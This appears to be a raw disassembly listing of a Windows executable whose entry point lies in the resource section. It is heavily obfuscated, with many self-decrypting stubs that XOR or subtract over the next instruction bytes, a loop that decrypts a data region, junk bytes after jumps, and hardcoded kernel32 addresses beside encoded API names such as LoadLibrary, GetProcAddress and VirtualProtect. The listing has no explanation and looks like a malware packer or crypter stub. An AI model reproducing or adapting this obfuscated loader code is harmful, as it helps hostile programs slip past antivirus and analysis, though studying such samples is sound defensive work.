		sub	ecx, [eax+34074621h]

loc_41330E:				; CODE XREF: .rsrc:00413303j
		pop	ecx
		jmp	short loc_41331A
; ---------------------------------------------------------------------------
		db 0D2h, 0A3h, 0A0h
		dd 0CCFF1E59h
		db 15h,	2Ah
; ---------------------------------------------------------------------------

loc_41331A:				; CODE XREF: .rsrc:0041330Fj
		sub	eax, ecx
		jmp	short loc_413327
; ---------------------------------------------------------------------------
		dw 91B8h
		dd 0CD64F7F6h
		db 82h,	93h, 0D0h
; ---------------------------------------------------------------------------

loc_413327:				; CODE XREF: .rsrc:0041331Cj
		mov	byte ptr [eax-6], 0E9h
		jmp	short loc_413332
; ---------------------------------------------------------------------------
		db 0CEh, 0EFh, 0FCh
		db 85h,	9Ah
; ---------------------------------------------------------------------------

loc_413332:				; CODE XREF: .rsrc:0041332Bj
		nop
		mov	dword ptr [eax-5], 9Ah
		popa
		jmp	near ptr dword_411C3C+468h
; ---------------------------------------------------------------------------
		dd 0F4h	dup(0)
		dd 5E000000h, 1C681h, 81660000h, 56E18D36h, 0C3h, 37Fh dup(0)
		dd 815E0000h, 3C6h, 9B2E8100h, 5692E9DBh, 0C3h,	48h dup(0)
		dd 0C7665E00h, 56EBC306h, 0C3h,	0
		dd 6815E00h, 1C962C70h,	0C356h,	6Ah dup(0)
		dd 5E000000h, 0E068166h, 0C35693h, 23h dup(0)
		dd 5E000000h, 9C681h, 81660000h, 5687522Eh, 0C3h, 1Fh dup(0)
		dd 0C6815E00h, 3, 427B2E81h, 0C3563EB4h, 21h dup(0)
; ---------------------------------------------------------------------------
		pop	esi
		add	esi, 1
		xor	word ptr [esi],	0DD3Dh
		push	esi
		retn
; ---------------------------------------------------------------------------
		align 4
		pop	esi
		add	esi, 1
		xor	word ptr [esi],	88DDh
		push	esi
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 1Fh dup(0)
		dd 5E000000h, 3C681h, 2E810000h, 3ED531ABh, 0C356h, 25h	dup(0)
		dd 5E000000h, 3C681h, 2E810000h, 9BA010Bh, 0C356h, 3Ch dup(0)
; ---------------------------------------------------------------------------
		pop	esi
		add	esi, 3
		sub	dword ptr [esi], 9321B5Bh
		push	esi
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 5E000000h, 3C681h, 2E810000h, 6867E3BBh, 0C356h, 0C6815E00h
		dd 3, 0F1CB2E81h, 0C3564AD2h, 0

; =============== S U B	R O U T	I N E =======================================



sub_414C54	proc near		; CODE XREF: .rsrc:00413077p
		pop	esi
		add	esi, 7
		sub	dword ptr [esi], 1FB621EBh
		push	esi
		retn
sub_414C54	endp

; ---------------------------------------------------------------------------
		align 4
		dd 4 dup(0)
		dd 0C6815E00h, 3, 5BDB2E81h, 0C3568307h, 1Ah dup(0)
; ---------------------------------------------------------------------------
		pop	esi
		add	esi, 1
		xor	word ptr [esi],	0DA9Dh
		push	esi
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 27h dup(0)
; ---------------------------------------------------------------------------
		pop	esi
		add	esi, 5
		xor	word ptr [esi],	8C2Dh
		push	esi
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 0Ch dup(0)
; ---------------------------------------------------------------------------
		pop	esi
		add	esi, 9
		xor	word ptr [esi],	0A6CDh
		push	esi
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 0Dh dup(0)
; ---------------------------------------------------------------------------
		pop	esi
		sub	dword ptr [esi], 7F7FE2BBh
		push	esi
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 0Ch dup(0)
; ---------------------------------------------------------------------------
		pop	esi
		add	esi, 3
		sub	dword ptr [esi], 9B6A016Bh
		push	esi
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 815E0000h, 1C6h, 36816600h, 0C3562A6Dh, 17h dup(0)
		dd 0C6815E00h, 9, 0FD368166h, 0C3568Eh,	4 dup(0)
		dd 5E000000h, 0F5E63681h, 0C3564898h, 22h dup(0)
; ---------------------------------------------------------------------------
		pop	esi
		add	esi, 1
		xor	word ptr [esi],	47FDh
		push	esi
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 12h dup(0)
		dd 0C6815E00h, 1, 0C22E8166h, 0C3566Ch,	0C6815E00h, 1
		dd 1D368166h, 0C356F7h,	21h dup(0)
		dd 787878h, 2 dup(0)
		dd 44415000h, 3	dup(0)
		dd 150ECh, 150D0h, 3 dup(0)
		dd 150F9h, 150E4h, 5 dup(0)
		dd 77E805D8h, 77E7A5FDh, 77E6169Ah, 77E75CB5h, 0
		dd 77D46349h, 0
		dd 4E52454Bh, 32334C45h, 4C4C442Eh, 45535500h, 2E323352h
		dd 6C6C64h, 6F4C0000h, 694C6461h, 72617262h, 4179h, 50746547h
		dd 41636F72h, 65726464h, 7373h,	74726956h, 506C6175h, 65746F72h
		dd 7463h, 74697845h, 636F7250h,	737365h, 65470000h, 72754374h
		dd 50726F73h, 736Fh, 2Ah dup(0)
		db 0
		assume ds:___H

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near
		pusha
		call	sub_416B82
		dec	eax
		call	sub_416F78
		rdtsc
		call	sub_416EEB
		push	edx
		call	sub_4169B6
		not	byte ptr [ebp+1976E8h]
		add	al, dl
		leave
		into
		mov	ebx, offset dword_40E000
		call	sub_41580E
		cmpsb
		xor	dword ptr [esi+7], 4E5FB4E7h
		mov	eax, 46h
		call	sub_416E2F
		mov	ecx, 5A0h
		jmp	short loc_41524A
; ---------------------------------------------------------------------------
		db 2Ch
		dd 18FB8AF5h, 0C4D75671h
		db 0ADh, 9Ah
; ---------------------------------------------------------------------------

loc_41524A:				; CODE XREF: start+44j
					; start:loc_415267j
		xor	[ecx+ebx], al
		jmp	short loc_415254
; ---------------------------------------------------------------------------
		db 30h
		dd 9ACF2EA9h
; ---------------------------------------------------------------------------

loc_415254:				; CODE XREF: start+54j
		rol	al, 1
		jmp	short loc_41525F
; ---------------------------------------------------------------------------
		dd 0E148EB3Ah
		db 6, 0C7h, 9Ah
; ---------------------------------------------------------------------------

loc_41525F:				; CODE XREF: start+5Dj
		dec	ecx
		jmp	short loc_415267
; ---------------------------------------------------------------------------
		dw 6392h
		db 60h,	19h, 9Ah
; ---------------------------------------------------------------------------

loc_415267:				; CODE XREF: start+67j
		jnz	loc_41524A
		call	sub_416855
		pop	edi
		call	sub_416B60
		mov	dh, 0Fh
		xor	eax, ebp
		retn	15h
start		endp

; ---------------------------------------------------------------------------
		align 10h
		db 90h
		db 89h,	8Eh, 8Bh
		dd 1D98E8D8h, 81660000h, 20A70776h, 310F22C8h, 1CCFE8h
		dd 0E8C32B00h, 1523h, 8E8DD2Bh,	1600001Dh, 97077681h, 2B9F2481h
		dd 0F009EBC3h, 1C8FEE69h, 9AABFA25h, 15850Fh, 49E80000h
		dd 7700001Dh, 23520DEBh, 7F9ED920h, 9BAA954Ch, 819A1138h
		dd 165FAh, 0E40BEB00h, 5013024Dh, 7C6F4E49h, 850F9A05h
		dd 23h,	128BE8h, 0B4A7A700h, 0EB0000EFh, 9ABD1403h, 0D850Fh
		dd 93E80000h, 0C500001Ch, 75AC05A5h, 909A7B0Ah,	1AF1E8h
		dd 49E85000h, 9C00001Dh, 1BB6E8h, 0BAE5DC00h, 8661C86Bh
		dd 129D7447h, 5E99E0E3h, 3F077681h, 68AC4BFBh, 0
; ---------------------------------------------------------------------------
		jmp	short loc_41534B
; ---------------------------------------------------------------------------
		sal	dword ptr [esi], 1
		aaa
		movsb
		or	eax, 9A10D3C2h

loc_41534B:				; CODE XREF: .rsrc:00415340j
					; .rsrc:loc_415374j
		popf
		jmp	short loc_415351
; ---------------------------------------------------------------------------
		das
		cmp	al, 9Ah

loc_415351:				; CODE XREF: .rsrc:0041534Cj
		pushf
		jmp	short loc_41535F
; ---------------------------------------------------------------------------
		dd 0E641284Bh, 727DD427h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 40h,	9Ah
; ---------------------------------------------------------------------------

loc_41535F:				; CODE XREF: .rsrc:00415352j
		jmp	loc_41537B
; ---------------------------------------------------------------------------
		jmp	short loc_41536D
; ---------------------------------------------------------------------------
		dw 6C1Fh
; ---------------------------------------------------------------------------
		xor	eax, 9A583BCAh

loc_41536D:				; CODE XREF: .rsrc:00415364j
		jmp	short loc_41537B
; ---------------------------------------------------------------------------
		jmp	short loc_415374
; ---------------------------------------------------------------------------
		pop	ss
		add	al, 9Ah

loc_415374:				; CODE XREF: .rsrc:0041536Fj
		jmp	short loc_41534B
; ---------------------------------------------------------------------------
		jmp	short loc_41537B
; ---------------------------------------------------------------------------
		db 0B3h, 70h, 9Ah
; ---------------------------------------------------------------------------

loc_41537B:				; CODE XREF: .rsrc:loc_41535Fj
					; .rsrc:loc_41536Dj ...
		pop	eax
		call	sub_41708F
		pushf
		movsd
		jp	short loc_4153B0
		mov	[ecx], ah
		inc	esi
		pop	es
		assume ds:nothing
		xor	al, 5Dh
		shl	byte ptr [ebx+3D1E59A0h], cl
		add	al, [edx]
; ---------------------------------------------------------------------------
		db 0
		dd 910BEB00h
		db 0F6h
; ---------------------------------------------------------------------------

loc_415399:				; CODE XREF: .rsrc:004153B8j
		mul	dword ptr [ebp+ecx*8-7Eh]
		xchg	eax, ebx
		ror	cl, 1
		into
		call	far ptr	0:1A840Fh
		call	sub_416B4D
		fimul	dword ptr [ebx]
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------

loc_4153B0:				; CODE XREF: .rsrc:00415383j
		add	[esi-7CF29202h], esp
		add	[ecx], bh
		jle	short loc_415399
		sub	al, 0F5h
		mov	bh, bl
		sbb	[ecx+56h], dh
		call	far ptr	0:11C4E89Dh
		loop	loc_41543D
		xor	[ecx+655CCF2Eh], ch
		cmp	ch, bl
		dec	eax
		loope	loc_4153DB
		pop	eax
		call	sub_416FFD

loc_4153DB:				; CODE XREF: .rsrc:004153D3j
		pusha
		sbb	esi, ebx
		nop
		popa
		jmp	loc_415477
; ---------------------------------------------------------------------------
		align 2
		jmp	short loc_4153F5
; ---------------------------------------------------------------------------
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx

loc_4153F5:				; CODE XREF: .rsrc:004153E6j
		pop	eax
		jmp	short loc_4153FF
; ---------------------------------------------------------------------------
		dd 0A766C1A8h
		db 54h,	0FDh, 0F2h
; ---------------------------------------------------------------------------

loc_4153FF:				; CODE XREF: .rsrc:004153F6j
		mov	ecx, 190h
		jmp	short loc_415411
; ---------------------------------------------------------------------------
		dw 0F9C0h
		dd 0B5EC9F3Eh, 31D8BB4Ah
; ---------------------------------------------------------------------------
		push	ss

loc_415411:				; CODE XREF: .rsrc:00415404j
		push	ecx
		jmp	short loc_415415
; ---------------------------------------------------------------------------
		db 84h
; ---------------------------------------------------------------------------

loc_415415:				; CODE XREF: .rsrc:00415412j
		xor	byte ptr [eax-6E36h], 78h
		jmp	short loc_415429
; ---------------------------------------------------------------------------
		dw 33A2h
		dd 8FEE69F0h, 0ABFA251Ch
		db 8
; ---------------------------------------------------------------------------

loc_415429:				; CODE XREF: .rsrc:0041541Cj
		inc	eax
		jmp	short loc_415439
; ---------------------------------------------------------------------------
		mov	byte ptr [edi+2352DDB4h], 20h
		fstp	dword ptr [esi-556AB381h]

loc_415439:				; CODE XREF: .rsrc:0041542Aj
		dec	ecx
		jmp	short near ptr loc_41543D+2
; ---------------------------------------------------------------------------
		db 38h
; ---------------------------------------------------------------------------

loc_41543D:				; CODE XREF: .rsrc:004153C8j
					; .rsrc:0041543Aj
		adc	[esi+0Fh], esi
		test	edx, eax
; ---------------------------------------------------------------------------
		dw 0FFFFh
		dd 0E407EBFFh, 5013024Dh, 0EB594E49h, 5A057C07h, 2681688Bh
		dd 7EBC12Bh, 3B2BD14h, 0C6FEB980h, 0EBE9FA40h, 0A75AC05h
		dd 0C7909A7Bh, 92FB40h
		db 2 dup(0), 61h
; ---------------------------------------------------------------------------

loc_415477:				; CODE XREF: .rsrc:004153E0j
		jmp	near ptr dword_40E040+570h
; ---------------------------------------------------------------------------
		dd 0E4h	dup(0)
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_41580E	proc near		; CODE XREF: start+28p
		pop	esi
		add	esi, 1
		sub	word ptr [esi],	0B332h
		push	esi
		retn
sub_41580E	endp

; ---------------------------------------------------------------------------
		dd 359h	dup(0)
; ---------------------------------------------------------------------------
		pop	esi
		xor	dword ptr [esi], 0EED15826h
		push	esi
		retn
; ---------------------------------------------------------------------------
		align 4
		pop	esi
		add	esi, 0Dh
		xor	word ptr [esi],	0E71Dh
		push	esi
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 89h dup(0)
		dd 5E000000h, 54BB2E81h, 0C356915Fh, 1Dh dup(0)
		dd 815E0000h, 3C6h, 0CB2E8100h,	56229C22h, 0C3h
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_416855	proc near		; CODE XREF: start+74p
		pop	esi
		sub	dword ptr [esi], 0ADB24CDBh
		push	esi
		retn
sub_416855	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 55h dup(0)
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_4169B6	proc near		; CODE XREF: start+14p
		pop	esi
		add	esi, 1
		xor	word ptr [esi],	88CDh
		push	esi
		retn
sub_4169B6	endp

; ---------------------------------------------------------------------------
		dd 62h dup(0)
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_416B4D	proc near		; CODE XREF: .rsrc:004153A8p
		pop	esi
		add	esi, 5
		xor	word ptr [esi],	863Dh
		push	esi
		retn
sub_416B4D	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416B60	proc near		; CODE XREF: start+7Ap
		pop	esi
		add	esi, 1
		xor	word ptr [esi],	4A8Dh
		push	esi
		retn
sub_416B60	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 4 dup(0)
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_416B82	proc near		; CODE XREF: start+1p
		pop	esi
		sub	word ptr [esi],	0E3D2h
		push	esi
		retn
sub_416B82	endp

; ---------------------------------------------------------------------------
		align 4
		dd 5E000000h, 3C681h, 2E810000h, 0EDB6F30Bh, 0C356h, 9Ah dup(0)
		dd 805E0000h, 0C3564436h, 7 dup(0)
		db 3 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_416E2F	proc near		; CODE XREF: start+3Ap
		pop	esi
		add	word ptr [esi],	0D07Eh
		push	esi
		retn
sub_416E2F	endp

; ---------------------------------------------------------------------------
		align 4
		dd 28h dup(0)
		dd 5E000000h, 0FC681h, 2E810000h, 6E8F0C5Bh
; ---------------------------------------------------------------------------
		push	esi
		retn
; ---------------------------------------------------------------------------
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_416EEB	proc near		; CODE XREF: start+Ep
		pop	esi
		sub	dword ptr [esi], 0EC9C8D1Bh
		push	esi
		retn
sub_416EEB	endp

; ---------------------------------------------------------------------------
		dd 1Dh dup(0)
; ---------------------------------------------------------------------------
		pop	esi
		add	word ptr [esi],	2B3Eh
		push	esi
		retn
; ---------------------------------------------------------------------------
		dd 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_416F78	proc near		; CODE XREF: start+7p
		pop	esi
		add	word ptr [esi],	6B1Eh
		push	esi
		retn
sub_416F78	endp

; ---------------------------------------------------------------------------
		dd 7 dup(0)
		dd 665E0000h, 45FE0681h, 0C356h, 0
		dd 5E000000h, 1C681h, 81660000h, 56ABA22Eh, 0C3h, 0Fh dup(0)
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_416FFD	proc near		; CODE XREF: .rsrc:004153D6p
		pop	esi
		add	esi, 3
		sub	dword ptr [esi], 7C02CBDBh
		push	esi
		retn
sub_416FFD	endp

; ---------------------------------------------------------------------------
		align 10h
		pop	esi
		xor	byte ptr [esi],	0B4h
		push	esi
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 2 dup(0)
		dd 815E0000h, 1C6h, 2E816600h, 0C356E1F2h, 0Eh dup(0)
; ---------------------------------------------------------------------------
		pop	esi
		add	dword ptr [esi], 0AC660CB0h
		push	esi
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 6 dup(0)
		db 3 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_41708F	proc near		; CODE XREF: .rsrc:0041537Cp
		pop	esi
		add	esi, 0Fh
		sub	dword ptr [esi], 25D60C1Bh
		push	esi
		retn
sub_41708F	endp

; ---------------------------------------------------------------------------
		align 1000h
_rsrc		ends

; Section 4. (virtual address 00018000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00018000
; Flags	40000040: Data Readable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read
_a__		segment	para public 'DATA' use32
		assume cs:_a__
		;org 418000h
		dd 400h	dup(0)
_a__		ends

; Section 5. (virtual address 00019000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00019000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 419000h
		align 2000h
_idata2		ends


		end start